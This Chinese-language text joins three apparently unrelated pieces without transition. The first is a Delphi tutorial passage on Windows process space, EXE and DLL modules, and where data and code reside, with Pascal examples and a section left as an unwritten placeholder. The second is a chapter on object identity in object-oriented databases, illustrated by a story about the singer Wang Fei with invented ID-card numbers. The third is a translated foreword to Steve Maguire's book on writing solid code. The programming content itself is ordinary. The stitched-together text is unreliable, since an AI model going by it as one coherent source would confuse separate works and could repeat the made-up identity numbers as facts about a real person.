但不管怎样，我们的进程可以使用的地址还是非常广阔的。特别是堆栈空间之后到$80000000之间，是进程空间的主战场。进程从系统分配的内存空间将被映射到这块空间，进程加载的动态连接库将被映射到这块空间，新建线程的线程堆栈空间也将映射到这块空间，几乎所有涉及分配内存的操作都将映射到这块空间。请注意，这里所说的映射，意味着实际内存与这块虚拟空间的对应，没有映射为实际内存的进程空间是无法使用的，就象调试时CPU窗口指令框中的那一串串的“????”。

第三节 EXE和DLL

我们已经对进程和进程空间有了一定的了解，下面我们将要讨论执行文件EXE和动态连接库DLL的区别，它们与进程空间的关系。

典型的Windows应用程序一般都由一个EXE文件和若干个DLL文件组成，Windows操作系统本身就是这种结构，这些都是大家熟知的内容。但是，你真正理解了EXE和DLL吗？如果，你确信自己已经熟知EXE和DLL的内涵，请跳过本节的内容。如果，你一直搞不清EXE和DLL，那就请仔细听我道来。

一个正确的EXE文件，是可以直接运行的程序。Windows操作系统会为该程序创建一个进程空间，程序是在进程空间内运行的。进程空间是应用程序运行的基本环境，没有进程空间就根本无法运行程序。

在EXE文件中，程序的数据引用关系和过程调用关系是用相对地址表示的，当程序加载到进程空间中的绝对地址上时，操作系统需要将对相对地址的引用和调用关系调整为对绝对地址的引用和调用关系，这一过程称为“重定位”。需要重定位的地方称为重定位项，它是保存在EXE文件的表头信息当中。

程序的运行是需要堆栈的，因为堆栈是过程调用必须具备的基本设施，也是过程中局部数据和过程参数生死存亡的地方。操作系统会根据记录在EXE文件头中的堆栈大小值，确定堆栈空间的地址位置和大小，并首先映射最小堆栈空间的那部分内存。

如果，一个EXE程序与某些DLL有固定的引用关系，操作系统将把相关的DLL程序调入当前进程空间。EXE和DLL以及DLL之间的引用或调用关系是用引入表和引出表来描述的，它们也保存在EXE或DLL的文件的表头信息当中。操作系统根据引入表和引出表信息，将程序模块间的引用和调用连接起来，这一过程称为“动态连接”。

一个DLL文件只是程序的一部分，它并不是完整的可执行程序。因此，DLL不能单独地运行，Windows也不会为DLL模块创建进程空间。一个DLL模块必须被加载到一个EXE程序的进程空间中，才能发挥其程序功能。

一个DLL文件也含有重定位信息，操作系统将DLL加载到进程空间中时，同样需要对DLL模块进行重定位。如果，被加载的DLL与其他DLL文件又有固定的引用关系，则加载该DLL模块时将同时加载其引用的DLL模块，并完成行动态连接过程。

一个DLL文件中记录的堆栈大小总是为零，因为DLL只是为进程服务的，调用DLL模块时，使用的是进程的堆栈。对于单线程的应用程序，进程只有一个堆栈，就是进程的主线程使用的堆栈。对于多线程的应用程序，每个正在运行的线程都有自己的堆栈。在多线程的情况下，DLL模块在那个线程中被调用，则DLL就使用该线程的堆栈。但所有这一切都还是在同一进程空间中进行的。

如果，你使用Windows API的LoadLibrary函数动态地加载一个DLL文件，其返回的模块句柄的值，就是指向该DLL加载到进程空间中的地址值。如果，你反复调用LoadLibrary加载同一个DLL，你会发现他们返回的模块句柄值是相同的，Windows只是增加该DLL的引用计数。其实，在不同Windows进程之间，DLL是共享的，只是，在不同的进程空间有不同的映射地址。

一个DLL模块的文件扩展名不一定都是*.DLL。象DELPHI的BPL包文件，ActiveX对象的OCX文件，以及设备驱动程序的DRV和VXD文件都是DLL。当然，一个EXE模块的文件扩展名也不一定要是*.EXE，只是，非*.EXE的可执行文件是不能通过双击鼠标来执行的，需要由编写程序语句来调入并运行。

DLL只有在进程空间内才能运行，这是一个基本的原则，请你一定牢记。

但有时，在Windows中的一个DLL本身已经是一个完整的程序，就缺少运行的进程空间。这时，Windows就用Rundll32命令来运行该DLL程序。Rundll32是一个简单的EXE文件，就在WINDOWS目录中，它仅仅为DLL程序提供了可运行的进程空间。

此外，在多层体系结构应用程序开发中，存在于DLL模块中的商业对象，也是需要运行的进程空间的。如果，你的客户端应用程序和DLL应用服务器在同一台机器中，则DLL应用服务器中的商业对象是直接在你客户端程序的进程空间中运行的，这就是所说的In-Process模式。而对于Out-of-Process的对象调用模式，一般要求应用服务器是一个可执行的EXE文件。

当然，如果应用服务器和客户端程序是在不同的机器中，应用服务器肯定要具备一个进程空间才能工作。例如，你无法通过直接的DCOM连接远端机器上的DLL应用服务器，这是因为DLL没有可运行的进程空间的缘故。不过，你可以通过Socket连接远端机器上的DLL应用服务器，这是因为DLL实际是在SCKTSRVR.EXE的进程空间中运行的，而SCKTSRVR.EXE是监听Socket连接的服务程序。

在MTS模式的分布式多层应用程序开发中，所有的商业对象必须存在于DLL文件的应用服务器中。这些DLL中的商业对象共同存在于MTS的进程空间中，因此，MTS才可在自己的进程空间中调度和管理这些商业对象，以完成对象的事务控制、对象缓冲和连接共享等强大功能。

第四节 数据和代码在哪里

数据和代码在哪里？

俗话说，人过了三十岁，就不会再去思考“人为什么要活着？”这些问题。可我编了十几年的程序还是喜欢去想 “我为什么要编程序？”、“程序为什么要运行？”、“运行着的是程序还是我的思想？”．．．．．．尽管我已经三十出头。这样的思考是永远没有结果的，那只是程序生涯中最浪费生命的苦行。这样的苦行也是有所感悟的，常常让我的灵魂更加融入程序的世界。程序有了我的灵魂，运行的个性也似乎带有我的风格。受益的有我，也有我的程序。

今天要和大家侃侃程序的数据和代码的问题。这个话题还是离不开进程空间的概念，因为程序的所有代码和数据都存在于进程空间之中。那么，数据和代码到底在进程空间的那些地方呢？

先来看看进程空间中都有些什么区域。

一个进程空间，与我们编程有关的区域大致有这么四种：静态数据区、动态数据区、堆栈区和代码区。进程空间中存在若干块这样的内存区域，它们随着程序的运行而动态变化着。一会儿有新的区域产生，一会儿又有些区域消失。如果把进程空间想象成大海，这些内存区域就是大海中的岛屿，随着潮起潮落，岛屿若隐若现。每一个岛屿都有操作系统映射的实际内存作为依托。没有映射实际内存的空白区域就是深不见底的海面，程序访问这些空白区域是要被淹死的。

这四种内存区域各有各的用处。静态数据区域就是你定义的全局变量、常量、线程变量等生存的地方。动态数据区就是你动态分配的数据空间和动态创建的对象生存的地方。堆栈区既为子程序调用提供保存返回地址的空间，又为局部变量、参数变量和返回值提供临时空间。代码区是存储程序指令的区域，CPU是从这里提取指令来执行程序的。

这些内存区域的产生和消失与程序模块的加载和卸出，以及线程的创建与消亡有关。

我们在这里说所的模块是指Windows应用程序的物理文件模块，即Windows中HMODULE句柄所表示的模块概念。典型地，EXE文件是一个模块文件，各种DLL文件也是一个模块文件。一个应用程序一般由一个EXE文件和若干个类型的DLL文件组成。这种文件在Windows中称为PE文件（Portable Executable File）。它含有一个PE信息头，其中有加载程序模块需要的重要信息。

当一个物理文件模块被加载到进程空间中时，Windows操作系统将根据该模块PE头的信息安排该模块的数据和代码在进程空间中的位置和大小。这样的加载包括EXE程序的执行加载，也包括启动EXE时及时加载DLL，以及程序随后动态加载DLL的过程。

模块加载到进程空间，将产生该模块需要的若干静态数据区域，也将产生该模块的若干指令代码区域。若模块在运行过程中动态分配和释放内存或创建和消灭对象，又将相应地产生和释放动态数据区域。

你可以认为模块的代码区是固定不变的，因为一般代码在执行过程中不会变化（除非你编写的是带变异功能的……），这不会影响对程序执行过程的理解。但模块的代码区也可能是经常变化的，这是Windows在背后搞的鬼。

想象将一个有几兆或几十兆代码的程序模块加载到进程空间中，程序的启动速度会很慢吗？这会在进程空间中产生巨大的代码区域吗？有可能，但Windows会尽量不让这种情况发生。它会在CPU要用到某块代码区的指令时，将该代码区从磁盘文件中调入进程空间并执行。同时，如果发现有些代码块长时间没有被执行到，它又会释放这些代码区所占据的内存空间。当这些被释放的代码再次被CPU用到时，代码将被再次加载（当然加载的位置可能有所不同）。所以，即使是加载和运行一个巨大的模块文件，速度也不会明显降低，空间也不会明显增大。

再想象一下，如果一个模块文件被加载之后将该文件拿走，Windows还能从消失的文件中正确加载CPU要用到的代码吗。当然不行！因此，Windows加载模块文件时就强制将该文件锁定，你是没办法修改和删除的。除非加载的是软盘上的模块，而你偏要强行将软盘抽走。

同样，线程的创建和释放也会引起内存区域的变化。当线程创建时，Windows系统会在进程空间中为这个线程开辟两块内存区域。一块是相对于该线程的全局静态数据区域，一块是线程运行所需的堆栈区域。其中，堆栈区是线程运行必须的基本设施，和线程密切相关不可分割。一个线程一定会有一个堆栈，而一个堆栈一定对应一个线程。一个线程释放之后，其相关的静态数据区和堆栈也就消失。

模块的静态数据区一般都是你定义的全局变量、常量等所在的地方。这些数据元素的访问地址都是相对于模块而言的。也就是说，这些数据元素标识方法和结构关系都是相对于该模块的程序的。模块外的其他模块程序是不能直接标识和解释本模块中定义的这些数据元素的，除非将这些数据元素的地址从模块内传递给其他模块的程序。例如，我们看看下面的两个模块程序：

program ExeModule;

function TheVariable: Pointer; external 'DllModule.DLL';

begin

// aVariable := 56789; //无法直接标识和访问另一模块中的数据元素。

Integer(TheVariable^) := 56789; //只能通过从另一模块获取地址间接访问其数据元素。

end.

这个程序编译后将生成ExeModule.EXE模块文件。当然它启动时需要DllModule.DLL。

library DllModule;

var

aVariable : Integer;

function TheVariable: Pointer;

begin

result:=@aVariable;

end;

exports TheVariable;

begin

aVariable := 12345;

end.

第二个程序由于指明它是library程序，所以编译后将生成DllModule.DLL模块文件。虽然在DllModule模块中定义了一个全局变量aVariable，但ExeModule模块的程序却无法直接标识和找到该变量。只能通过调用DllModule模块的TheVariable函数获取aVariable的地址指针之后，间接访问aVariable变量。

有朋友说，如果将aVariable放到一个独立的PASCAL单元文件中，然后在两个模块的主程序中都uses这个单元，不就可以互相访问了吗？我们就来看看下面这些程序文件。

这是VarUnit.pas单元文件：

unit VarUnit;

interface

var

aVariable : Integer;

implementation

end.

这是ExeModule.dpr文件，它将生成ExeModule.EXE文件：

program ExeModule;

uses

VarUnit;

begin

aVariable := 56789;

end.

这是DllModule.dpr文件，它将生成DllModule.DLL文件：

library DllModule;

uses

VarUnit;

begin

aVariable := 12345;

end.

这两个模块都引用了VarUnit单元。假如这两个模块都在同一个进程空间中，那么，在ExeModule模块中访问的aVariable变量和在DllModule中访问的aVariable变量真的是同一个变量吗？

答案是否定的！

原来，ExeModule中访问的aVariable变量是在其自身模块的静态数据区域内，而DllModule中访问的aVariable变量也是自己所有的。尽管模块引用了相同单元中的变量，但这些变量在不同的模块中都会有一个独立的副本。在随后对运行包编译模式的讨论中，我们还将讨论到共用单元变量的问题。

因此，我们要记住：在非运行包编译模式下，DELPHI中的各种全局变量和对象，如Application、Screen、Session、Printer等等，在每一个EXE和DLL模块中都有一个自己的副本，而不是同一个东西。

那么，相对于线程的全局变量又如何呢？

线程全局变量是用扩展的保留字threadvar定义的全局变量。threadvar只能用于定义全局变量，不能用于定义局部变量。由它所定义的全局变量在每一个线程中都有一个副本，存在于各自线程的全局静态数据区里。用threadvar定义的线程变量对每一个线程来说是独有的，在线程内可以放心使用。而使用var保留字定义的全局变量却是线程共享的，对其访问就要注意共享与互斥的问题了。

接下来我们要讨论局部变量、参数变量和返回值的问题。

这三类数据元素是子过程或函数局部的东西，作用域仅在该子程序内，具有临时性。他们是在线程的堆栈区内自生自灭的。随着子程序调用的发生而在堆栈中产生，随着子程序调用的返回而灭亡。线程的堆栈区随着子程序层层调用的深入和返回而潮起潮落，不断增长和减少。局部变量、参数变量和返回值就像礁石上的小生物，潮水涨上来便有一批生命诞生，潮水回落它们又死去。潮水再来的时候，又是另一个新的生命世界，一点都没有从前那个世界的任何记忆。生命也许就是这样短暂。

在含有递归算法的程序中，线程的堆栈区会出现非常有趣的现象。在堆栈区增长的历史中，将出现许多惊人的相似。每一次的递归调用，一批相似的局部变量、参数变量和返回值都会出现一次，而且堆栈增长速度很快。所以，在编写含有递归算法的程序时一定要注意堆栈空间的问题。

我们再来看一看动态数据区的情况。

DELPHI中几乎所有的对象都是存在于动态数据区中的。尽管它们的对象指针可能是一个全局变量、一个线程全局变量、一个局部变量、一个参数变量或者一个返回值，但对象的实例却是在动态数据区中分配的（除非你重载了TObject的类方法NewInstance，在别的什么地方分配对象实例空间）。

DELPHI的这种情况和标准的C++是不一样的。在标准的C++中定义一个全局对象时，它的实例存在于程序的全局静态区域中。而DELPHI是要在程序运行时动态创建，比如，在单元文件initialization部分的代码中创建。

在早期的编程概念中，动态分配的数据区域又称为“堆”。那时候，由于机器可寻址空间较小，“堆”常常和“栈”共用一块空间。这块空间的顶部开始向下增长的部分就是“堆”，而从底部开始向上增长的部分就叫“栈”。所以，这块空间统称为“堆栈”。现在的编程空间已经非常广阔，“堆”的概念似乎已经过时了，而“栈”又和多线程的概念紧密联系在一起。因此，现在的“堆栈”一词就专指线程所用到的栈。

最后，我们再来看看代码的情况。

在DELPHI中，一个EXE或DLL的模块文件一般都是由一个项目文件(*.DPR)和若干个直接或间接引用的单元文件(*.PAS)编译而成。在没有优化编译选项的情况下，编写在项目文件和单元文件中的所有代码和数据都将编译进物理的模块文件中去。如果打开编译优化选项，则只有用到过的代码和数据才会编译到物理模块文件中。

通常，你的应用程序是由多个物理文件模块组成，典型地由一个EXE模块和若干DLL模块构成。我们在编写模块程序的时候，总有一些单元是共用的。共用的单元既在一个模块的编译项目中被引用，又会在另一个模块的编译过程中被引用。令人遗憾的是，模块间共用单元中的代码和数据，将被编译在每一个引用过该单元的模块中。应用程序的这些模块被加载到进程空间中时，该单元的代码指令和数据将存在多个副本。

虽然，我们可以将共用的单元文件独立出来，再编译成为一个DLL模块，以便共用一份代码和数据。但这将使程序模块的划分变得非常复杂，并且难于管理，在实际的开发过程中很难行得通。

现在，我们已基本搞清了数据和代码会在哪里的问题。正如我说过，这样的探索和思考是一条苦行的路。因为，我们在苦苦的思考中明白了一些道理，但又会有新的难题出现。这个世界总不是完美的！

DELPHI伟大之处就在于她能将许多复杂的难题变得很简单！随后我们将看到DELPHI提供的运行包编译模式（Build with runtime packages），是如何完美解决这个问题的。

第五节 DELPHI的运行包

....不好意思还没写完....跳过....

第六节 对象之梦

有一回，我梦见自己变成了计算机时空世界里的一个对象。随着计算机世界的不断发展，我们这些对象已经不再象原始时代的对象那样仅仅为了获得生存的资源而不停的忙碌。我们的思想空前活跃，我门不但思考我们为什么要在计算机世界里生存和运行，而且还大胆的研究和探索计算机世界的未知奥秘。我们已经知道整个计算机世界都是由字节这一基本粒子构成，而字节又是由八个更细小的位粒子构成；我们还知道物质不灭定律，即任何一个对象的灭亡，只意味着对象结构的解体，并不会减少计算机世界中的任何字节或位粒子，而着这些物质又可能成为别的对象的一部分；甚至，我们还知道我们所处的世界是一个球体，因为，在越过经度$FFFFFFFF又回到了原点$00000000的位置。著名的物理学家对象牛顿早就发现各种对象之间存在一种普遍的联系，并且在对象的运动速度与对象大小的关系方面提出了著名的理论--牛顿力学。可是，后来牛顿这个对象却一直搞不懂到底是什么力量在无形地推动各种对象的运动。因此，他认为一定是创造整个计算机世界的上帝在推动各种对象的运动。后来他成了上帝最虔诚的信徒。在牛顿对象死后不久，我们的计算机世界又诞生了一个更伟大的对象。他基于先有代码的执行才有执行的结果这一基本的因果论，提出了进程运动的时空是相对的这一伟大理论。他认为，在一个运动中进程空间中看另一个运动中的进程空间，时间和空间都不是绝对的，空间会弯曲。而且，任何对象的运动速度绝对不可能超过CPU的速度，CPU速度就是我们计算机世界里的光速。这位伟大的科学对象的名字就叫爱因斯坦，他的相对论在一开始是不被对象们理解的，可是后来的科学探索都证明了这一理论的正确性。他提出的代码能量和数据物质可以相互转换的理论，也后来制造的大规模毁灭性病毒核武器中得到验证。

在梦的世界里，我快乐极了。我一会儿变一变我的属性，一会儿又动动我的方法，一会儿感受一下外来的事件。没错，我确实就是一个实实在在的对象！过了一会我突然明白，我本来就是一个对象，只是这个对象在梦中变成了现实世界的我……


第三十八章 面向对象数据库基础

第三十八章 面向对象数据库基础

第二节 数据对象的标识

我们在关系数据库的设计和开发中，可能经常需要一些唯一的编号或标识，用来作为关键字，以区别每一个不同的人，每一张不同的单据，每一次不同的信息登记，等等。并且，我们也一直采用这些编号和标识，作为关系的连接字段。但是，要保证编号或标识是完全唯一的，却是一个不大不小的难题。 下面我们将详细讨论这一问题，并希望能从另一个高度来理解这一问题。不过，我们首先来看看问题是怎样由来的。现在，给大家讲一个故事。 从前，在北京降生了一个漂亮的小女孩。接生的李阿姨说，她的声音这么大，好象想要全世界的人都听到。 他的父母就为她取了一个很好听的名字，叫“王菲”。于是，所有的小朋友就叫她“王菲”，“王菲”就是她童年的标识。 在她上初二的时候，认识了二班另一个叫“王菲”的同学，而且和她同一天生日。不过，同学们常常将她俩叫错，后来，就分别叫她们“大王菲”和“小王菲”。 在大王菲18岁的那一年，她领到了她的身份证。从此，她有了新的身份标识“100321690808022”，这一标识可以唯一区别中国大陆的每一个人。同时，原来二班的“小王菲”也领到了她自己的身份证，“100321690808006”。于是，人们就可以用身份证号，唯一标识两个“王菲”了，虽然谁也不会直接叫她们的身份证号码。 由于她的歌唱的非常好，没多就就成了歌星。歌迷们将“王菲”这一标识与她的歌紧紧地联系在一起。 后来她去了香港发展，并将自己的名称更改为“王靖雯”，同时还领到了香港的身份证，有了香港的身份标识。 没多久，王靖雯和一个弹电吉他的小子相爱了。那小子说，还是“王菲”这个名字好听。后来，“王靖雯”又变回“王菲”了。结果，歌迷们又遇到了麻烦，是将她的歌关联到“王菲”还是“王靖雯”呢，在歌迷中引起一阵混乱。 她和那个弹电吉他的小子结婚了，香港政府将他们的身份证号码，用结婚证书关联起来。可是，月老在酒醒之后发现了这一错误，就将关联的记录删除了。 虽然，她和那个弹电吉他的小子分手了，但是，正如接生的李阿姨说的那样，她的声音的确让全世界的人都听到了。 讲完这个故事之后，你应该能领悟到设计数据库的一些哲理。 不管王菲的外部属性和内部属性怎样变化，但王菲还是王菲，不是二班的那个“王菲”。也就是说，王菲的灵魂未变，她是不会改变的，就象哲学上所说的“不以人的意志为转移”。这种唯一表示对象本身的东西，就是对象标识！ 对象标识是唯一的。也就是说，即使两个对象，他们的外部属性完全一样，但它们的对象标识是不同的。毕竟，同名同姓甚至同一天出生的大王菲和小王菲是两个不同的人。 对象的标识是永恒不变的。一旦对象产生，它的标识就自然地、唯一地产生了。尽管王菲换了名，身份证号也变过，但王菲的对象标识未变。即使到了下个世纪，她的对象标识也将依然存在于歌迷们的们的心中。 对象的标识是描述关系的基础。王菲唱的歌是王菲唱的，不是初二二班的那个“王菲”唱的。王靖雯唱的歌就是王菲唱的歌，有的歌迷只将歌曲和歌手的人名关联起来，难怪会出混乱。香港政府也犯相同的错误，将王菲的身份证号码这一内部属性，跟那个弹电吉他的小子关联起来，也许就是命运的错误。 在关系数据库中，表的每一元组（记录）描述了对象的各个属性。也需要人为地选择某些对象属性字段作为关键字，以标识不同的数据对象。 关系数据库的理论说，一个表中，所有列的值都相同的行，也就是字段都相同的两条记录，描述的是同一数据对象。为了区分属性相同，但对象不同的大王菲和小王菲，就需要引入关键字的概念。于是，大王菲和小王菲都才有了身份证号码。 关系数据库的理论，强行将对象的属性定义为关键字，以区别不同的对象，这才给我们留下了“插入异常”、“修改异常”和“删除异常”，等等，让我们头痛多年的问题。正是因为这一原因，初二的同学才会混淆“王菲”和二班的“王菲”，歌迷们才会搞不清“王靖雯”和“王菲”的关系，这些错误在现实中也是存在的。 其实，对象的标识应该是和对象属性不同的东西，对象的标识才是数据对象的唯一关键字，不以人的意志为转移的。象人的姓名和身份证号是否应该唯一，以及单据编号是否连续等等，是由人们的规则确定的，与人们的意识有关。 那么，到底应该用什么东西来作对象标识呢？ 如果，你的数据库只是临时管理初二二班的作业本，用学生姓名作对象标识又未尚不可。如果，你的数据库管理的是中国大陆的户口档案，肯定可以用身份证号码作对象标识，不过，身份证号升位之后，你又要辛苦了。 如果，你的数据库要管理整个宇宙的信息，那么，就只能自己产生标识了！ 为数据产生唯一的对象标识，一直都没有一个公认的好方法。不过，我们可以作一些有益的探讨。目前，大致有两种方法用于产生对象标识： 一． 增量产生 这种方法就是每次产生对象标识时，到数据库里查找一下最大的对象标识。新的对象标识将在当前最大对象标识基础上增量生成，然后，新的对象标识又成为数据库中的最大对象标识。 这中方法可以保证在一个数据库内可以为每一对象生成唯一标识，并且保存对象标识所用的字节数很少（例如，一个整数）。这种对象标识，在数据库内查询和索引都有较高的效率。 但是，由于这种方法在每次产生对象标识时，需要访问数据库。特别是在多用户使用时，还要采用数据库的事务机制来防止不同用户产生相同标识。因此，产生对象标识的效率很低，特别是在批量产生时。 此外，由于这种方式生成的标识只能保证在某一数据库内是唯一的，不能直接适用于多数据库或分布式数据库环境下。在不同的数据库之间传递或同步相同的数据对象时，需要解决对象标识的转换问题。 二． 随机生成 随机生成对象标识的方法实际就是碰运气，按照某种复杂的随机算法迅速产生对象标识，碰一碰对象标识不重复的运气。只要这种算法产生的对象标识一万年才可能重复一次，那你就可以在实际开发中应用这种算法。 这种方法典型的应用就是COM对象的GUID。虽然，在理论上总有一天会产生重复的GUID标识，但我们等不到那一天，也许那是地球毁灭之后的事情。 首先，这种方法产生对象标识，不需要访问数据库，是在数据库环境之外生成对象标识。因此，标识的生成是一瞬间的事，效率非常高，即使是在批量生成的情况下。 其次，由于在多数据库或分布式数据库环境中的不同地方，也不会产生相同的对象标识，因此，在数据库之间传递或同步数据时将不存在对象标识转换的问题。LOTUS NOTES中的文档管理数据库，就大量采用这一技术。 由于，为了保证有足够的数值空间，供随机算法产生唯一标识，需要用较多的字节存放这一对象标识，将耗费较多的存储空间。GUID是一个长达128位，即16个字节的数据类型，而NOTES的文档标识也是相当长的数据类型。并且，对较大的数据类型进行索引或查找，会花费较大的时间和空间开销，不过，这一问题不向想象的那样严重。 在面向对象的数据库理论中，每一数据都抽象为一个对象，而且，每一对象都应该有一个唯一的对象标识，并且在对象诞生之后永远不便。对象的标识是唯一的关键字，对象的属性是否唯一，是商业逻辑所决定的。对象之间的关系，是通过对象标识的关联来描述的，任何对象属性的改变不会影响对象标识所连接的关系。


前言

前言

我第一次见到Steve Maguire是在1986年，当我们聘他来写麦金塔版的Excel时。作为一名特别谨慎而专注的程序写作者，他令我印象深刻。当时我是Microsoft Multiplan，Word与Chart的开发经理。这间公司正快速成长，而我们产品与开发过程中的问题也愈来愈多。Steve在解决这其中的一些问题上出过力，而且以这本书成为我们想出来解决这些问题的许多好作法的纪录者。接下来我要先提一下我自己的经历。

1981年，我被比尔盖兹跟Charles Simonyi合聘加入微软公司商业应用程序团队工作。回顾当时，有七名程序员在进行一个商业应用程序的开发－Microsoft Multiplan. 其它三十名程序员则在进行程序语言与操作系统产品的发展。公司里剩下的一百人进行技术文件的撰写、销售、行销与管理工作。当时，Multiplan的七名程序员都被塞到一栋位于华盛顿州Bellevue镇商业区的办公大楼里的一个大房间中。我们跟其它开发MS-DOS跟Basic的工作者没在同一栋建筑里，他们在两个十字路口之外。不过这并不是什么大问题，当时我们这间小公司只有一个人人想要达成的前景：让每个桌上的计算机都跑我们微软的程序。

我们用来开发Multiplan的系统对当时的PC软件开发而言是相当特殊的。我们将核心产品以C语言撰写－当时大部分的程序还是用汇编语言或Pascal写成的。我们在一台跑Unix的PDP-11计算机上完成自己的编辑与编译程序。C语言写的原始码被编译成p-code，下传到目的平台。当时我们得替每个微处理器建立出一套p-code解译器来执行我们开发的程序。

1983年底，我们已经有了在8080/Z80，6502，Z8000，68000，TI 99/a与8086上执行的p-code解译器。那时候，我们的每套主要商用软件都有专门人员在进行开发－一个电子表格、一个文书处理器、一个简单的数据库记录管理程序，跟一份商用绘图程序包。我们有专门的环境开发人员使用汇编语言来撰写这些p-code解译器。我们也有一组人员在发展编译器与程序开发工具。除了少许操作系统服务相关的东西，这整个三十人的应用程序开发团队可以说是自给自足的，建立自己用的程序开发工具、编译器、解译器与产品的原始码。

在1981年，我们的主要目标在于销售随机搭售的产品。我们与硬件制造商合作，修改我们的产品以搭配制造商的硬件与销售管道。然后我们会交给硬件制造商一张磁盘与可以照相排版的使用手册。硬件厂商自己担负起整个产品的制造、发行与支持的工作。

1982年时，我们开始转而强调零售管道。与硬件厂商的合作经验让这项转移过程迅速许多。我们只需要几个行销人员将产品卖给硬件制造商，几个产品开发人员来发展产品，几个技术写作者来撰写使用手册，至于测试、项目管理、产品制造、产品发行、产品支持与销售的部分，则都已经由硬件制造商支持了。要将目标转移到零售管道，我们得在微软内部找出一套完成全部特定产品发展与支持的办法。

更早，我们还在替IBM跟苹果计算机开发产品时，我们自行销售的第一套产品是IBM-DOS版的Multiplan跟苹果二号版的Multiplan，不过那时我们还在开发许多随机搭售产品。我们替Unix，Xenix，TI 99/a，Tandy M100，MSX（日本一种八位的家用计算机），非IBM的MS-DOS兼容机器，Commodore 64，Atari，苹果公司的苹果三号、Lisa跟麦金塔计算机，OS/2，Windows与其它特别的硬件环境开发电子表格、文书处理程序、商用绘图程序与数据库产品，有些环境本身还有好几种机型。在IBM兼容计算机成为主流机型前，我们已经为每一种跑MS-DOS的机器量身修改过我们的应用软件。在Tandy，王安，Paradyne，Consumer Devices，Eagle，Victor，Olivetti，DEC Rainbow与其它MS-DOS机器上都有过我们的产品。（译：这里有许多在台湾还没普及过就从世界市场上消失了的厂牌，不另译。）除了面对这些不同系统平台，我们还发展了许多特定语言版本的商用软件。

早期产品只有英文版本的，今天我们则开发了超过三十种语言版本的产品，针对不同语言与文化改写或修改，包括阿拉伯文版、澳洲版、马来文版、中文版、捷克语版、丹麦文版、荷兰文版、英国版、芬兰版、法文版、法属加拿大版、德文版、希腊文版、希伯来文版、韩文版、意大利文版、日文版、挪威版、葡萄牙文版、俄文版、西班牙文版、土耳其文版、美国版等。

在1985年，IBM PC在市场上的成功减轻了些产品开发的复杂度。我们必须支持的不同视讯标准只剩下主要的IBM兼容机型上的模式（CGA跟单色文字模式）。不过在1988年左右，对不同视讯模式需要的支持开始多得超出预估的数量，IBM先是发展了EGA视讯延伸标准，接着又发展了VGA标准，然后接着而来的是各种不同的SVGA模式与标准。

对其他硬件周边配备的支持也变得愈来愈复杂。我们得支持超过两百种不同的雷射与点数组表机。幸运的，输入装置的种类没有变化太多。原先就有IBM标准键盘与扩充键盘，而大部分指向装置依循着微软鼠标标准。

今天硬件上的许多复杂性与变异性都已经消失或被统合进一个复杂而完整的接口里。我们只需要替两种主要系统制作产品－Windows跟麦金塔。但是新等级与新尺度的复杂性取代了硬件支持的复杂度。现在软件开发者得熟悉讯息传递式的图形使用者接口程序写作与对象导向设计跟程序写作方式。他们得透过Windows上的对象连结与嵌入（OLE）和麦金塔上的出版与订阅机制来支持产品延伸性，而且他们得支持同个产品系列里一致性的特性与可程序性的使用方法。

在1984年，我们产品中渐增的复杂性与制作零售产品所需的高标准让我们建立了一个品质确认小组。1984年，我们称这个小组为测试小组，到今天我们还是这样称呼这个小组，虽然我们测试小组的人数已经从1984年的五个人增加到超过五百人了。今天我们的测试小组确实是个先进的品质确认小组，从各种消费者的偏好习惯来进行产品品质的检测。

在建立测试小组以前，商用程序开发者们必须仰赖硬件制造商的消费者们测试产品，以找出错误所在，这种做法一直挺有效的。直到我们开始在对硬件制造商的消费者们推出产品前，直接对末端使用者推出零售版的产品，我们碰到问题了。有段时间，在我们的测试小组能力够强以前，程序开发员得自己测试零售产品。曾经历过那段时间的开发者们都学到了他们得在写作跟除错程序代码时非常小心的避免产生错误。他们了解推出一项会出错的产品要付出多大的代价。

不过，当测试小组愈来愈庞大时，开发小组愈来愈依赖测试小组来找寻程序里的错误。开发小组很快习惯了这种让测试小组负责找出所有问题的态度。这造成了底下这些严重的问题－产品时间表延期，错误百出的产品特性，未完成的产品功能，或甚至让产品取消推出－必须有些对策来避免这些事情发生。许多开发人员对于产品在推出后还在程序中被找到问题一点也不觉得羞耻。他们愤愤不平的问道，"为何测试人员没在我们推出产品前找到问题？"而测试人员一定会响应，"那为何你们要在产品中制造问题？"

最后，开发人员开始明白测试人员永远也不可能找到一份软件中的所有错误。错误可能出现在设计上，规格上，或是顾客需求的分析上，而且测试人员在测试中没办法涵盖所有程序代码或使用方式。程序的错误可能隐藏在隐密而鲜少测试到的程序代码中，可能被程序其它部分功能的运作所暂时掩蔽着－甚至测试环境都可能掩护错误免于发现。测试人员很难找到这些问题，由于这些因素，测试小组经常只能在产品中找到百分之六十的程序错误。

程序开发人员拥有更多知识与工具来检测程序代码。当开发人员决心利用他们的工具去作这件事时，他们可以在程序中找到超过百分之九十的问题。如果开发人员负起他们原先丢给测试人员的除错责任，产品使用者只会发现百分之四十的错误。如果开发人员与测试人员合作找出错误，末端使用者只会找到少于百分之四的问题，而且这百分之四可能在产品对外公开测试时就被使用者找到。

早先，在1989年，许多开发经理与带领者开会讨论这个问题。会议之后，他们了解了一件事，并改变了态度：找寻问题、更正错误是开发部门的责任。开发人员过去让程序里的臭虫横行，现在，避免臭虫出现在测试人员面前而后溜到使用者面前的责任回到了他们身上。开发团队定下了"随时都有近乎可推出的产品"的目标。这表示说，当一项功能被标示为完成时，所以在这功能上找到的错误都将在新功能加上前获得修正。如果在以标示完成的功能上找出了严重的问题，工作进度将停滞不前。

我们将这种新的态度称作"零失误"。程序代码由开发部门建立并检测，然后在零失误的态度下交给测试部门。幸运的，几个开发小组已经体验过开发零失误程序所需的许多技术。Steve Maguire在这些日子里在各小组间解决了许多问题，并在本书中定下许多我们用来写作稳固而零错误的程序技巧。

微软改善，而且总是在改善产品开发工具与产品开发过程。在1981年，公司内只有程序开发人员、使用手册撰写者跟小型的销售、行销与管理小组。现在我们有产品行销、通路、销售、支持、测试、使用者教育（技术写作与出版）、计划管理与其它许多的专门人员。在今日微软特别小组的复杂架构下，我们要确定发展稳固程序代码的技巧不会失传、误解或被遗忘。Steve Maguire的这本书应该对我们跟读者们让这些技巧继续被活用有所帮助。

现在我是微软的开发与测试总监。我的部分工作是列出并宣传最好的作品。我非常感谢Steve花时间写了这样一本有益于管理者与程序写作者们发展世界级程序而且读起来如此令人快乐的书。Steve捉住而且描述了许多在微软宫公司用来发展稳固而可发行的程序代码的技巧。这本书将成为所有微软的程序写作者的建议读物。

David M. Moore

微软开发总监


